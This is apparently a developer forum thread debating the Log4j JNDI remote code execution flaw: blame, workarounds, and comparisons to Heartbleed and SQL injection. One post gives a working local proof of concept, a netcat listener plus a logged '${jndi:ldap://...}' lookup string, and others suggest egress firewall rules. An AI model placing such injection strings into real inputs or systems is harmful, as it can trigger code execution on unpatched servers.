Who's having fun with the Log4J zero-day?

We've asked infra team to pass the requisite JVM property as a workaround for now until we are good and ready to upgrade Java and/or log4j2

What even is it?

@NoMad a remote code execution exploit on basically the widest used logging api for Java.

Work went into a frenzy trying to audit everything. Sometimes even open source gets it really really wrong.

https://logging.apache.org/log4j/...

https://blog.qualys.com/vulnerabili...

It seems one of the major attack vector is closed when not using an completely outdated JDK.

Maybe I'm too stuck in vacation mode...

But I think it's blown out of proportion?

I know a _lot_ of services are affected, but it seems all in all like a thing that could have been prevented if someone read the fucking fine print.

Log4J isn't new. Variables and JNDI aren't new. It was there the whole time, properly used the whole time.

Use secure settings and you are not affected.

I think this is an much needed reminder.

Cloudflare e.g. had a very simple and effective fix - filtering out headers containing JNDI.

That's easily doable.

The "fix" in 2.15.0 is to change a property that exists since 5 major versions.

Easily doable.

Another fix would be to read the manual and use secure log settings.

Easily doable.

Again. I think it's blown out of proportion - it's a much needed reminder that running services with outdated software or not reading the fine print and manuals / changelogs is a guaranteed way to get butt fucked deeply.

what is funny is how easy it is to exploit lol

start nc (nc -lp 1234) and run this
org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")

What even is it?

My workplace basically shut everything down when it became known and have been working shifts to get it patched and verified. I couldn't even put in my hours for the week.

I'm oversimplifying, but it allows you to send a request where you include a magic string in whatever way that makes the server log it, which makes java call the url in your string.

https://blog.cloudflare.com/inside-...

It's validating to see a problem with Java, against which I have a (mostly) irrational prejudice.

Not using 3rd-party logging frameworks, so i am not affected.

But technically, this actually isn't a bug!
This is not your average "forgot a bounds check" like in memory-unsafe languages.
You don't accidentally add remote script execution capabilities to a formatting language in Java.
Someone has intentionally added this as a backdoor into Log4J.
That coder should be prosecuted and put into jail for the rest of his life.
Also, everyone affected should sue him for damages as in most legal systems disclaimers don't work for delibereate acts of crime and it really does not get more deliberate than this.

@Oktokolo It was never meant as a backdoor.

It existed for years and is a well known feature of Log4J.

You could do lookup of env variables, date support with format strings, ...

Tons of things.

https://logging.apache.org/log4j/...

It was _known_ behaviour for years.

Maybe that's why I'm kinda baffled and stating it's blown out of proportion.

In a nutshell, for this to happen you _have_ to take a value from an _untrusted_ source and just hammer it to a log system without any thought about it security wise.

Many might gather now stones to give me a nice beating - but it's plain stupidity to do so.

And If really so many services are effected, they should really be ashamed.

Taking a value from an untrusted source and just passing it down without any form of sanitization is dumb. Plain, profound dumbness.

@IntrusionCM
The shit executes code pointed at by content of the log message. Log messages are _expected_ to contain user input. No fuckin way is that not a backdoor.

Being able to just throw whatever you want at the logging system and having it just log it to a store is the primary requirement.
Fancy formatting does come next as logs normally are meant to be read by humans. But you can't assume that stuff that gets logged does not contain user input. So if you want formatting, it has to be done before giving the message to the logger or by giving some sort of datastructure (like a list of key-value pairs or other arbitrary objects) and letting the logger prettyprint it using a generic serializer meant to handle arbitrary untrusted data.

It is plain obvious, that having the message interpreted as a scripting language containing eval support is an unbelievably stupid idea.
Someone that stupid should not be able to make anything compile - so it has to be malice.

@Oktokolo Yes. But what you described is exactly what caused this to be a major pain in the arse: To _expect_ that a system does work exactly the way you want it to work, no matter what you throw at it.

This is exactly why I'm pissed.

To expect this is a mistake. To think that you can just put untrusted data to some service and it's magically make it secure by anticipating all kinds of things noone could imagine is the mistake.

I mean - we know no one can anticipate everything.

The first rule of security is always to not expect a happy outcome and especially not a nice, loveable environemnt - expect the unexpected and expect it at it's worst, fucked up state.

That's exactly what we're drilling interns into their brains at their first months of programming.

Don't think what _should_ happen. Think about what _could_ happen and then think about how you could prevent that.

Don't take unvalidated stuff, don't trust that things happen right, don't expect a library / 3rd party tool to work the way you want / expect it.

Validate everything. Question everything.

I understand your reasoning, but this is exactly why I'm angry. Your reasoning shows a blindness that is the primal source of how such large gaping security holes exist: The believe that someone could anticipate everything, that something works correct in all cases.

And this despite we see daily how our customers are complete morons, how some programmers fail even the simplest security checks, despite some programs that are tested by experts have security holes for years despite rigid state of the art checking.

When do we finally stop thinking that some other people could magically write perfect code and instead accept that everyone's human and everyone's gonna make mistakes?

*angry screaming noises*

iptables -A OUTPUT -j REJECT

that should do as a quick fix. And then --

iptables -A OUTPUT -p tcp -d ${ip}/${mask} --dport ${port}

for all the actually required services

I'm still mad about having this feature enabled BY fucking DEFAULT!!!

@IntrusionCM I disagree.

It *is* a bug. And it's the developer's, who created that feature this way, fault.

1. I know there are docs that specify this feature. Regardless...
2. a logging framework by default should be nothing but a logging framework, and do one thing well - LOGGING. Any additional features, like parsers, hooks, external calls triggered by the message contents, etc - they must be optional. These features do NOT intuitively translate to LOGGING _per se_.
3. I haven't checked, but I take there's no validation which parts of the message contain the ${} token. The same problem is with SQLi, and it's easily solvable with the right tools, provided by the database (not the application using it): prepared statements. Whatever is in the parameter can't ever change the structure of the SQL. So if I'm logging `logger.info("Got request: {}", req);`, it's log4j's job to assume the '{}' part is malicious and cannot EVER be used for interpolation. EVER! Especially with network calls

@netikras But that'd exactly why I'm angry.

Again we're at the point where _you_ define what _you_ expect to happen and where the documentation states since years different behaviour.

You could turn off the behaviour since years.

If you use a logging framework which has a certain behaviour. You should have read the fine print and used it in the right way.

I understand your anger, but your point is like: I want to do it XY without ever reading the manual.

This is not how it works. This is not how any of it works...

Parts 1 and 2 done.

Part 3 is the part where it gets tricky.

You could disable for _years_ that interpolation behaviour and since 2.10 you could disable it globally.

Which is why I'm angry.

All the persons who are fucked right now should really think about what they're doing - me isn't exempt from the "profound dumbness".

We could have fixed this ages ago, we could have done the right thing since years. Yes it is a dangerous and easily misusable feature, but it's our job (as admins) to decide wether to activate the feature or not.

It was the same with fucking frigging hearbleed or other things.

We didn't read the fine print. We thought that someone took care of sane defaults or that someone was more clever and guess what - no they weren't.

Hearbleed is a good comparison. It was a stupid fucking plugin that caused a lot of havoc, that could have been easily prevented.

Did we do it? Nope.

We reaped what we sow.

@IntrusionCM
Well, if i have to code audit the logger because the dev making it doesn't understand that he made a common error kernel component - then i am better off just writing my own (and i normally do so whenever it is feasible to do so).

What is the point in a logger if you can't trust it to just log stuff without exploding in your face. Security and safety are hard enough without the logger intentionally trying to sabotage you.

The general issue with "Think about what _could_ happen" is, that the used programming languages are turing complete - so while the set of possible things to happen is countable, it is also quite large (assuming small infinites).
If you actually assume that to be case, you have to audit the lib in question or write your own.

Normally, there is no time for that.

@IntrusionCM heartbleed was a bug, a buffer overflow exploit. Not "intended behaviour".

I think you're wrong at the high level, right on a couple of details.

But you're kinda just kicking up a stink and shouting at anyone that disagrees with you.

SQL injection is a comparable, language level feature. This is a single library level feature.

Here's a list of 351 logging libraries, I'm willing to bet 250+ don't have this security exploit. https://awesomeopensource.com/proje...

Python logging? Guessing no. Built in java logging? Guessing no. AWS CloudWatch? No.

WE CAN'T READ EVERY LINE OF CODE THAT GOES INTO OUR APPLICATION, AND IF YOU SAY WE SHOULD YOU'RE TALKING BULLSHIT UNLESS YOU'RE ALSO GONNA READ A COMPILER SOURCE END TO END.

Fun fact. GCC debian has/had some paths hard coded making it not properly cross platform/portable. It also injected some of those hard coded paths into whatever it built. At a previous company we compiled a compiler to compile another compiler, that was then truly portable.

Anyway. That's how software development works in the real world. We use systems and make assumptions about how they work, we assume they work similar to other systems that have sensible, safe default behaviour.

We stand on the shoulders of giants and idiots alike. Look at npm left-pad for fuck sake. This isn't a new lesson.

There's a world of difference between spectre, quite literally "you have to fuck with the cpu and hope what you get out isn't garbage", and this which is "and now my code is running on your machine".

Stop shouting at people and telling everyone how angry you are.

We don't give a shit.

@atheist you don't give a shit about me.

That's fine. But I'm not talking about auditing code.

Again. That behaviour is intended, documented and used since years.

We're not talking about obscure bugs, we're not talking about an oopsie goto error, we're talking about sth that was well known for years.

I draw a line there. Hearbleed is the same for me… cause we could have disabled it for years.

There's a difference between code level security and just accepting it although we know it's bad.

And this RCE - it was known for years that this was bad and that this could have been misused.

This is not an goto error or some weird vodoo shit noone could have possibly anticipated.

This was known behaviour for years. With all it's risk and the possibilities.

Which is why I give a shit about it.

@IntrusionCM no. Heartbleed was a protocol implementation error. A "buffer overflow" should NEVER be intended behaviour.

@IntrusionCM L4S may have been documented, but that doesn't mean it's "known about". I have professionally coded in 10 languages, probably getting on for 15. You think I'm going to read the language standard for all 15 languages end to end? Because that's what you're advocating here.

You can't say "you should audit everything" *unless* you're auditing the first building block. Your programming language.

Because that's how we got SQL injection.

And before you argue that "reading the documentation" isn't "auditing", it is, just different names for what amounts to due diligence.

Anyway, I'm out because this is already not a constructive conversation.

Shouting about how angry you are instead of discussing improvements is a waste of breath and a drain on the brain cells of others.

@atheist Yes.

But hearbleed was an extension that was _never_ (!!!) necessary for an TLS session to work.

The "fix" was to just disable the extension.

Which is - given that you usually disable optional parts not required for successful operation to minimize attack vectors - the recommended security protocol in all cases.

The overflow was an error, yes.

But enabling and defaulting to enable a non vital plugin in an critical system like TLS was a choice.

And this choice was accepted for years.

So for me it's the same. We accepted the default choices and thought we were safe although we _should_ have known better.

@IntrusionCM "we used the CPU that came with the machine" you can't perform due diligence on everything. Getting angry is pointless.

Tell me one suggestion for improvements you've made in this whole discussion.

@atheist ... I'm angry. Yes.

But I think I made it obvious that I'm not mad without reason.

I'm completely with you when it's about auditing code.

But not reading documentation - seriously?

That's really not how you should use any library at all. And if a library has no documentation, that should be a clear warning sign of missing QA and proper maintenance.

@IntrusionCM language standards are really fucking long.

Or do you not consider that documentation important enough? What is? Why this one?

@atheist That's the point.

I think people _should_ read the documentation.

Cause the Log4J RCE is intended behaviour. And has been for a long time.

And people could have point fingers at it for a long time and said: Guys, have you lost it?

Now - dozen of years later - someone does it and everyone looses their mind?!?

The bugfix in 2.15.0 is to change a default value property that exists since 2.10.0 - and which could have been set since ages on a non global scale.

It's not a "we change a code error". It's a "we change a behaviour that's been like this for ages because finally someone said it's bad and we've been made aware of how bad it it is".

And that's the point. And that's probably why the author who proposed the global property in 2.10.0 did write a proposal...

This is not a typical RCE in form of "we made an oopsie in coding".

This is - which is why @Oktokolo is partially right - an intended behaviour that existed for a very long time, and none pointed it out. It has now become a hype because someone pointed it out.

And "it" was an obvious, known fact for years in my opinion.

Cause it was an implemented, documented feature that existed for years.

If you don't read the documentation, if you don't think about what possible outcome that could happen - yes. Then you'll end up with the worst...

And yes. CPUs are insecure, which is why admins should keep an eye on firmware - regarding CPU errata and additional firmware like e.g. AGESA.

That's our job in my opinion.

If we just hot glue shit together regarding the outcome, then we shouldn't wonder why shits failing us?!!???

@IntrusionCM after so much rambling I think I now see your point.

Log4j: let's do smth stupid and documment it
devs: log4j does logging, right?
Devs: *finds log4j/slf4j+log4j tutorial*
devs: *copy-paste*
mgmt: is the feature complete?
Devs: almost, need to read log4j docs before commit.

Mgmt: ....??
Devs: ....

Devs&mgmt: 😁😁😁😁 good one. Let's commit and go home

*at some corner of the world*

evilDev: *reads log4j docs*
evilDev: *finds the part about interpolation*
evilDev: *assumes noone's read loj4j docs and seen that part*
evilDev: *exploits this knowledge and awareness gap for years*

* years later*
someone else: *also reads log4j docs*
someone else: *blows the whistle*
rest of the world: this is outrageous, how could've log4j done such stupid thing! Log4j is crap!

@netikras Exactly.

https://logging.apache.org/log4j/... 2.10.0 was released on 2017-11-18, relevant change: https://issues.apache.org/jira/...

To go back to 2017 and documentation:

http://web.archive.org/web/...

It explicitly states that a string will be parsed and interpolated by default. On the newest page, the opposite is true - as 2.10.0 added flag was set to default true, so nolookup is default behaviour.

But what is nolookup? Pattern Layout Documentation, Subsection:

" m{nolookups}{ansi}"

http://web.archive.org/web/...

"Use {nolookups} to log messages like "${date:YYYY-MM-dd}" without using any lookups".

http://web.archive.org/web/...

And yes - JNDI lookup existed all the time.

Enterprise ready library, made for enterprise environments with enterprise bugs.

Really that an LDAP/corba/RMI integration for a logging library and people thought that it would be good idea?